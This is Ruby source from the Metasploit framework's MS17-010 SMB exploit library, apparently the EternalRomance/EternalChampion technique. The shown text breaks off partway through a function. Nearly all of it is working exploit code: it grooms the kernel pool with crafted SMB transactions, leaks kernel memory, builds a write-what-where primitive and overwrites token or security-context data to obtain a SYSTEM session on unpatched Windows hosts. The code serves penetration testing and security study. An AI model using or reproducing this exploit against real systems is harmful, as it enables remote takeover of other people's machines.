lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb
module Msf
module Exploit::Remote::SMB::Client::Psexec_MS17_010
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Exploit::Remote::SMB::Client::PipeAuditor
include Msf::Exploit::Remote::Tcp
CONST = Rex::Proto::SMB::Constants
def initialize(info = {})
super
register_options([
OptString.new('NAMEDPIPE', [false, 'A named pipe that can be connected to (leave blank for auto)', '']),
OptInt.new('LEAKATTEMPTS', [true, 'How many times to try to leak transaction', 99]), # Win10 can get stubborn
OptPort.new('RPORT', [true, 'The Target port', 445]),
OptBool.new('DBGTRACE', [ true, "Show extra debug trace info", false ]),
])
end
# used to abruptly abort exploit for a given host with error msg
class MS17_010_Error < StandardError
end
def eternal_pwn(ip)
@ctx = {}
@ctx['rekt'] = false # set if we need to clean up the token
@ctx['ip'] = ip
connect(versions: [1])
self.simple.client.default_max_buffer_size = 4356 # this took way too damn long to debug
self.simple.client.socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1)
self.simple.client.socket.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
smb_login()
fingerprint_os(simple.client.peer_native_os)
pipe_handle = find_accessible_named_pipe()
if @ctx['go_fish']
exploit_fish_barrel(pipe_handle)
else
exploit_matched_pairs(pipe_handle)
end
print_status("Built a write-what-where primitive...")
fmt = @ctx['PTR_FMT']
# IsNullSession = 0, IsAdmin = 1
poffset = @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET']
write_what_where("\x00\x01", poffset)
vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1 at 0x#{poffset.to_s(16)}")
modify_token()
@ctx['rekt'] = true # set if we need to clean up the token
print_good("Overwrite complete... SYSTEM session obtained!")
end
def eternal_cleanup()
begin
if @ctx['rekt']
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
userAndGroupsOffset = @ctx['userAndGroupsAddr'] - @ctx['tokenAddr']
# -1
write_what_where(@ctx['tokenData'][userAndGroupsOffset..userAndGroupsOffset+@ctx['fakeUserAndGroups'].length-1], @ctx['userAndGroupsAddr'])
if @ctx['fakeUserAndGroupCount'] != @ctx['userAndGroupCount']
write_what_where([@ctx['userAndGroupCount']].pack("V"), @ctx['tokenAddr']+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
end
else
write_what_where(@ctx['secCtxData'], @ctx['secCtxAddr'])
end
vprint_good("SYSTEM session cleaned up.")
end
disconnect # also disconnect trees and logoff??
rescue ::Rex::Proto::SMB::Exceptions::NoReply => e
# pass
# it's fine.
rescue => error
vprint_error(error.class.to_s)
vprint_error(error.message)
vprint_error(error.backtrace.join("\n"))
end
end
def modify_token()
fmt = @ctx['PTR_FMT']
# read session struct to get SecurityContext address
sessionData = read_data(@ctx['session'], 0x100)
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
if datastore['DBGTRACE']
print_status("Session Data: #{bin_to_hex(sessionData)}")
print_status("session dat len = #{sessionData.length}")
print_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
print_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
print_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
end
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if @ctx.key? 'SECCTX_PCTXTHANDLE_OFFSET'
pctxtDataInfo = read_data(secCtxAddr+@ctx['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = pctxtDataInfo.unpack(fmt)[0] #unpack_from(fmt, pctxtDataInfo)[0]
else
pctxtDataAddr = secCtxAddr
end
tokenAddrInfo = read_data(pctxtDataAddr+@ctx['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = tokenAddrInfo.unpack(fmt)[0] #unpack_from('<'+fmt, tokenAddrInfo)[0]
vprint_status("Found TOKEN addr: 0x#{tokenAddr}")
tokenData = read_data(tokenAddr, 0x40*@ctx['PTR_SIZE'])
@ctx['tokenData'] = tokenData
@ctx['tokenAddr'] = tokenAddr
if datastore['DBGTRACE']
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
end
userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)
vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount
#write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
end
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
@ctx['userAndGroupsAddr'] = userAndGroupsAddr
@ctx['fakeUserAndGroups'] = fakeUserAndGroups
@ctx['fakeUserAndGroupCount'] = fakeUserAndGroupCount
@ctx['userAndGroupCount'] = userAndGroupCount
else
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
if datastore['DBGTRACE']
print_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
end
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
if datastore['DBGTRACE']
print_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
end
@ctx['secCtxData'] = secCtxData
@ctx['secCtxAddr'] = secCtxAddr
# see FAKE_SECCTX detail at top of the file
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
vprint_status("Overwrote token SID security context with fake context")
end
end
def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)
if datastore['DBGTRACE']
print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
end
# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x
success = true
if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
success = false
end
return success, userAndGroupCount, userAndGroupsAddr
end
def get_group_data_from_token(tokenData)
# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
# update with hack offsets
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
# try again with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
end
# still no good. Abort because something is wrong
if not success
raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
end
# token parsed and validated
return userAndGroupsAddr, userAndGroupCount
end
def write_what_where(what, where)
if where == 0
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'
end
# modify trans2.InData on trans1 mid
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
data: [where].pack(@ctx['PTR_FMT']),
dataDisplacement: @ctx['TRANS_INDATA_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# write data on trans2 mid
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'], data: what)
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
end
def read_data(read_addr, read_size)
if read_addr == 0
raise MS17_010_Error, 'Attempted to read from a NULL pointer!'
end
fmt = @ctx['PTR_FMT']
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = [@ctx['trans2_addr']+@ctx['TRANS_FLINK_OFFSET'], @ctx['trans2_addr']+0x200, read_addr].pack(fmt * 3) #pack('<'+fmt*3, ) # OutParameter, InData, OutData
new_data << [0, 0].pack("VV") #pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data << [8, 8, 8].pack("VVV") #pack('<III', 8, 8, 8) # ParameterCount, TotalParameterCount, MaxParameterCount
new_data << [read_size, read_size, read_size].pack("VVV") #pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data << [0, 5].pack("vv") #pack('<HH', 0, 5) # Category, Function (NT_RENAME)
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: new_data, dataDisplacement: @ctx['TRANS_OUTPARAM_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
pkt = create_nt_trans_packet(5, param: [@ctx['fid']].pack("V"), totalDataCount: 0x4300-0x20, totalParameterCount: 0x1000)
self.simple.client.smb_send(pkt.to_s)
# finish the trans2 to leak
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans2_mid'])
self.simple.client.smb_send(pkt.to_s)
read_data = recv_transaction_data(@ctx['trans2_mid'], 8 + read_size)
# set new trans2 address
#@ctx['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - @ctx['TRANS_FLINK_OFFSET']
@ctx['trans2_addr'] = read_data.unpack(fmt)[0] - @ctx['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2
# pack('<'+fmt, @ctx['trans2_addr'])
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], param: [@ctx['trans2_addr']].pack(fmt), paramDisplacement: @ctx['TRANS_INDATA_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# modify trans2 mid
#pack('<H', @ctx['trans2_mid'])
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'], data: [@ctx['trans2_mid']].pack("v"), dataDisplacement: @ctx['TRANS_MID_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
return read_data[8..-1] # no need to return parameter
end
def fingerprint_os(os)
print_status("Target OS: #{os}")
if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200'
@ctx['os'] = 'WIN8'
@ctx['go_fish'] = false
elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2' or os.starts_with? 'Windows Storage Server 2008 R2' or os.starts_with? 'Windows Embedded Standard 7'
@ctx['os'] = 'WIN7'
@ctx['go_fish'] = false
elsif os.starts_with? "Windows Server (R) 2008" or os.starts_with? 'Windows Vista'
@ctx['os'] = 'WIN7'
@ctx['go_fish'] = true
elsif os.starts_with? "Windows Server 2003 "
@ctx['os'] = 'WIN2K3'
@ctx['go_fish'] = true
elsif os.starts_with? "Windows 5.1"
@ctx['os'] = 'WINXP'
@ctx['arch'] = 'x86'
@ctx['go_fish'] = true
pick_ctx()
elsif os.starts_with? "Windows XP "
@ctx['os'] = 'WINXP'
@ctx['arch'] = 'x64'
@ctx['go_fish'] = true
pick_ctx()
elsif os.starts_with? "Windows 5.0"
@ctx['os'] = 'WIN2K'
@ctx['arch'] = 'x86'
@ctx['go_fish'] = true
pick_ctx()
else
raise MS17_010_Error, 'Exploit unavailable for target OS.'
end
end
def find_accessible_named_pipe
@ctx['pipe_name'], pipe_handle = check_named_pipes(
check_first: datastore['NAMEDPIPE'],
return_first: true
)
if @ctx['pipe_name'] && pipe_handle
pipe_handle
else
raise MS17_010_Error, 'Unable to find accessible named pipe!'
end
end
# todo: spice it up with EternalSynergy output
def exploit_matched_pairs(pipe_handle)
begin
leak_frag_size(pipe_handle.file_id)
rescue TypeError => e
raise MS17_010_Error, 'TypeError leaking initial Frag size, is the target patched?'
end
# we have all info for offsets now
#@ctx = @ctx.merge(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
pick_ctx()
# groom: srv buffer header
@ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
# groom parameters and data is alignment by 8 because it is NT_TRANS
@ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE'] # alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
@ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
if datastore['DBGTRACE']
print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
end
# bride parameters and data is alignment by 4 because it is TRANS
@ctx['BRIDE_DATA_SIZE'] = @ctx['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - @ctx['TRANS_SIZE']
# ================================
# try align pagedpool and leak info until satisfy
# ================================
for i in 0..datastore['LEAKATTEMPTS']
reset_extra_multiplex_id()
vprint_status("Attempting leak ##{i.to_s}")
leakInfo = align_transaction_and_leak(pipe_handle)
if leakInfo != nil
break
end
vprint_status("Align transaction and leak failed, attempt ##{i.to_s}")
# we don't need to do any cleanup in this case
if i == datastore['LEAKATTEMPTS'] - 1
raise MS17_010_Error, "Abort after using up all LEAKATTEMPTS."
end
# close pipe, disconnect IPC$
pipe_handle.close()
self.simple.client.tree_disconnect()
# connect IPC$, open pipe
self.simple.client.tree_connect("\\\\#{@ctx['ip']}\\IPC$")
pipe_handle = self.simple.create_pipe(@ctx['pipe_name'], 'o')
end
@ctx['fid'] = pipe_handle.file_id
@ctx['pipe_handle'] = pipe_handle
@ctx = @ctx.merge(leakInfo)
vprint_status("Leaked connection struct (0x#{@ctx['connection'].to_s(16)}), performing WriteAndX type confusion")
# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
do_write_andx_raw_pipe(fid:pipe_handle.file_id, data: Rex::Text.rand_text_alpha(shift_indata_byte))#'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with "\x00" might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = @ctx['next_page_addr'] + @ctx['TRANS_SIZE'] + 8 + @ctx['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = @ctx['trans2_addr'] - indata_value
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
delta = indata_next_trans_displacement + @ctx['TRANS_MID_OFFSET']
pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: "\x00",
dataDisplacement: delta)
self.simple.client.smb_send(pkt.to_s)
# wait for completion
do_smb_echo()
pkt = create_nt_trans_packet(5, mid: @@special_mid, param: [pipe_handle.file_id].pack("V"), data: '')
recvPkt = smb_send_recv_raw(pkt.to_s)
errno = recvPkt['Payload']['SMB'].v['ErrorClass']
if errno != 0x10002 # non-specific server error
raise MS17_010_Error, "Unexpected return status during overwrite: 0x#{errno.to_s(16)}"
end
vprint_status("Control of groom transaction")
fmt = @ctx['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
pkt = create_nt_trans_secondary_packet(mid: pipe_handle.file_id, data: [@ctx['trans1_addr']].pack(fmt),
dataDisplacement: indata_next_trans_displacement + @ctx['TRANS_INDATA_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
pkt = create_nt_trans_secondary_packet(mid: @@special_mid,
data: [@ctx['trans1_addr'], @ctx['trans1_addr']+0x200, @ctx['trans2_addr']].pack(fmt * 3),
dataDisplacement: @ctx['TRANS_INPARAM_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# modify trans2.mid
@ctx['trans2_mid'] = next_multiplex_id()
pkt = create_nt_trans_secondary_packet(mid: @ctx['trans1_mid'],
data: [@ctx['trans2_mid']].pack('v'),
dataDisplacement: @ctx['TRANS_MID_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
end
# This will (just) leak info using the RCE from ETERNALCHAMPION
# CVE-2017-0146 - Race condition with Transaction requests
def align_transaction_and_leak(pipe_handle)
op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME
trans_param = [pipe_handle.file_id].pack("V")
# fill large pagedpool holes (maybe no need)
for i in 0..3
mid = next_multiplex_id()
pkt = create_nt_trans_packet(op, param: trans_param, mid: mid,
totalDataCount: 0x10d0,
maxParameterCount: GROOM_TRANS_SIZE - 0x10d0)
self.simple.client.smb_send(pkt.to_s)
end
mid_ntrename = next_multiplex_id()
# 1st groom
req1 = create_nt_trans_packet(op, param: trans_param, mid: mid_ntrename, data: Rex::Text.rand_text_alpha(0x10d0), #'A'*0x10d0,
maxParameterCount: @ctx['GROOM_DATA_SIZE']-0x10d0)
req2 = create_nt_trans_secondary_packet(mid: mid_ntrename, data: Rex::Text.rand_text_alpha(276)) #'B'*276) # leak more 276 bytes
# 2nd groom
req3 = create_nt_trans_packet(op, param: trans_param, mid: pipe_handle.file_id,
totalDataCount: @ctx['GROOM_DATA_SIZE']-0x1000, maxParameterCount: 0x1000)
reqs = ''
for i in 0..11
mid = next_extra_multiplex_id()
req = create_trans_packet(mid: mid, param: trans_param, totalDataCount: @ctx['BRIDE_DATA_SIZE']-0x200,
totalParameterCount: 0x200, maxDataCount: 0, maxParameterCount: 0)
#reqs.push(req)
reqs += req.to_s
end
self.simple.client.smb_send(req1.to_s[0..-9])
self.simple.client.smb_send(req1.to_s[-8..-1] + req2.to_s + req3 .to_s + reqs)
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction alignment from displacement.
leakData = recv_transaction_data(mid_ntrename, 0x10d0 + 276)
leakData = leakData[0x10d4..-1] # skip parameters and its own input
# make sure pool starts with Frag
if !(leakData[@ctx['FRAG_TAG_OFFSET']..-1].starts_with? 'Frag')
vprint_error("Frag pool tag not found at correct offset!")
return nil
end
# ================================
# verify leak data
# ================================
start = @ctx['FRAG_TAG_OFFSET'] - 4 + @ctx['FRAG_POOL_SIZE']
leakData = leakData[start..-1]
expected_size = [@ctx['BRIDE_TRANS_SIZE']].pack("v") #pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE']
if leakData[0x4..0x8 - 1] != 'LStr' ||
leakData[@ctx['POOL_ALIGN'] .. @ctx['POOL_ALIGN'] + 2 - 1] != expected_size ||
leakData[leakTransOffset + 2 .. leakTransOffset + 4 - 1] != expected_size
vprint_error("Transaction struct missing from leak data!")
return nil
end
leakTrans = leakData[leakTransOffset..-1]
ptrf = @ctx['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = leakTrans[@ctx['TRANS_INPARAM_OFFSET']..-1].unpack(ptrf)[0] #unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
if datastore['DBGTRACE']
print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
print_status("SESSION: 0x#{session_addr.to_s(16)}")
print_status("FLINK: 0x#{flink_value.to_s(16)}")
print_status("InParam: 0x#{inparam_value.to_s(16)}")
print_status("MID: 0x#{leak_mid.to_s(16)}")
end
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + @ctx['GROOM_POOL_SIZE'] + @ctx['FRAG_POOL_SIZE'] + @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE'] + @ctx['TRANS_FLINK_OFFSET'] != flink_value
delta = flink_value - next_page_addr
if datastore['DBGTRACE']
print_error("Unexpected Flink alignment, delta: #{delta.to_s(16)}")
end
return nil
end
# trans1: leak transaction
# trans2: next transaction
return {
'connection' => connection_addr,
'session' => session_addr,
'next_page_addr' => next_page_addr,
'trans1_mid' => leak_mid,
'trans1_addr' => inparam_value - @ctx['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr' => flink_value - @ctx['TRANS_FLINK_OFFSET'],
}
end
def exploit_fish_barrel(pipe_handle)
@ctx['fid'] = pipe_handle.file_id
xTRANS_NAME_LEN = 4
xHEAP_HDR_SIZE = 8 # heap chunk header size
if @ctx['os'] == 'WIN7' and !(@ctx.key? 'arch')
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
begin
leak_frag_size(pipe_handle.file_id)
rescue Timeout::Error
raise MS17_010_Error, 'Timeout::Error leaking initial Frag size, is the target patched?'
end
end
attempt_list = []
if @ctx.key? 'arch'
# add os and arch specific exploit info
pick_ctx()
attempt_list.push(OS_ARCH_INFO[@ctx['os']][@ctx['arch']])
else
# do not know target architecture
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x64'])
attempt_list.push(OS_ARCH_INFO[@ctx['os']]['x86'])
end
# ================================
# groom packets
# ================================
# sum of transaction name, parameters and data length is 0x1000
# parameterCount = 0x100-TRANS_NAME_LEN
trans_param = [@ctx['fid']].pack("V") #pack('<HH', info['fid'], 0)
for i in 0..11
mid = if i == 8 then @ctx['fid'] else next_extra_multiplex_id() end
pkt = create_trans_packet(mid: mid, param: trans_param, totalParameterCount:0x100-TRANS_NAME_LEN,
totalDataCount: 0xec0, maxParameterCount: 0x40, maxDataCount: 0)
smb_send_recv_raw(pkt.to_s)
end
print_status("Filling barrel with fish... done")
print_status("<---------------- | Entering Danger Zone | ---------------->")
print_status("\t[*] Preparing dynamite...")
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
# trans1 trans2
# ================================
# shift transaction Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
do_write_andx_raw_pipe(fid: pipe_handle.file_id, data: Rex::Text.rand_text_alpha(shift_indata_byte)) #"A"*shift_indata_byte)
success = false
stick = 1
for xinfo in attempt_list
tinfo = {}
tinfo = tinfo.merge(xinfo['CPUARCH'])
tinfo = tinfo.merge(xinfo['OFFSETS'])
tinfo = tinfo.merge(xinfo['SESSION'])
vprint_status("Attempt controlling next transaction on #{tinfo['ARCH']}")
xHEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+xHEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
xNEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + xHEAP_CHUNK_PAD_SIZE + xHEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00", dataDisplacement: xNEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
do_smb_echo()
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
pkt = create_nt_trans_packet(5, mid: @@special_mid, param: trans_param, data: '')
recvPkt = smb_send_recv_raw(pkt.to_s)
errno = recvPkt['Payload']['SMB'].v['ErrorClass']
if errno == 0x10002 # non-specific server error
success = true
print_status("\t\t[*] Trying stick #{stick.to_s} (#{tinfo['ARCH']})...Boom!")
if !(@ctx.key? 'arch')
#vprint_status("Target arch detected as #{tinfo['ARCH']}")
@ctx['arch'] = tinfo['ARCH']
pick_ctx()
end
break
end
print_status("\t\tTrying stick #{stick.to_s} (#{tinfo['ARCH']})...Miss")
stick += 1
if errno != 0
vprint_status("Unexpected return status: 0x{errno.to_s(16)}")
end
end
if not success
print_status("<---------------- | Leaving Danger Zone | ---------------->")
raise MS17_010_Error, "Unable to control groom transaction"
end
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying parameter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if @ctx['arch'] == 'x64'
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\xff"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
self.simple.client.smb_send(pkt.to_s)
end
do_smb_echo()
xTRANS_CHUNK_SIZE = xHEAP_HDR_SIZE + @ctx['TRANS_SIZE'] + 0x1000 + xHEAP_CHUNK_PAD_SIZE
xPREV_TRANS_DISPLACEMENT = xTRANS_CHUNK_SIZE + @ctx['TRANS_SIZE'] + xTRANS_NAME_LEN
xPREV_TRANS_OFFSET = 0x100000000 - xPREV_TRANS_DISPLACEMENT
# modify parameterCount of first transaction
pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_TOTALPARAMCNT_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
if @ctx['arch'] == 'x64'
pkt = create_nt_trans_secondary_packet(mid: @@special_mid, param: "\xff"*4, paramDisplacement: xPREV_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
self.simple.client.smb_send(pkt.to_s)
# restore trans2.InParameters pointer before leaking next transaction
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x00"*4, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_INPARAM_OFFSET']+4)
self.simple.client.smb_send(pkt.to_s)
end
do_smb_echo()
# ================================
# leak transaction
# ================================
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: "\x05", dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_FUNCTION_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
data = [4, 4, 4, 0x100, 0x100].pack("VVVVV") #pack('<IIIII', 4, 4, 4, 0x100, 0x100)
pkt = create_trans_secondary_packet(mid: @ctx['fid'], data: data, dataDisplacement: xNEXT_TRANS_OFFSET+@ctx['TRANS_PARAMCNT_OFFSET'])
self.simple.client.smb_send(pkt.to_s)
